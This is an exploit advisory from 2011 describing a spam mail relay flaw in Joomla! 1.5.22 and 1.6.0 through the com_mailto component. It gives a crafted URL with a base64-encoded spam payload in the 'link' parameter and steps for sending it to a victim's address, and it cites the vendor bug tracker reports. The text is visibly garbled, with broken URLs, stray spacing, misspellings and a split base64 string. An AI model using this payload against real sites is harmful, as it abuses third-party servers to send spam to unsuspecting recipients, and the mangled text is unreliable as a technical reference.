Joomla! Spam Mail Relay Vulnerability

# Exploit Title: Joomla! Spam Mail Relay
# Day: 11 Jan 2011
# Author: Jeff Channell
# Software Link: http://www.joomla.org/
# Versions: 1.5.22, 1.6.0

Joomla! 1.5.22 & 1.6.0 both allow spam email to be relayed
Unsuspecting victims via the core com_mailto component.

Tested using the following URL:

Http: // localhost/j/index. php? Option = com_mailto & tmpl = component & template = beez_20 & link = aHR0cDovL2xvY2FsaG9zdC9qL2luZGV4LnBo

Bytes

B2YgZmFrZSBzdHVmZj8gU1BBTSBTUEFNIFNQQU0 =

Where parameter "link" is the base64_encoded string:

Http: // localhost/j/index. php? X = y Hai I am a spam message! Wocould you like
To buy all sorts of fake stuff? SPAM

This is important as the domain at the beginning must match the domain
Being relayed against.

Now, fill out the form with victim email as "Email To" parameter & send.

These issues have been reported on each version's respective bug tracker:
Joomla! 1.6.0:

Http://joomlacode.org/gf/project/joomla/tracker? Action = TrackerItemEdit & tracker_item_id = 24288

Joomla! 1.5.22:

Http://joomlacode.org/gf/project/joomla/tracker? Action = TrackerItemEdit & tracker_item_id = 24289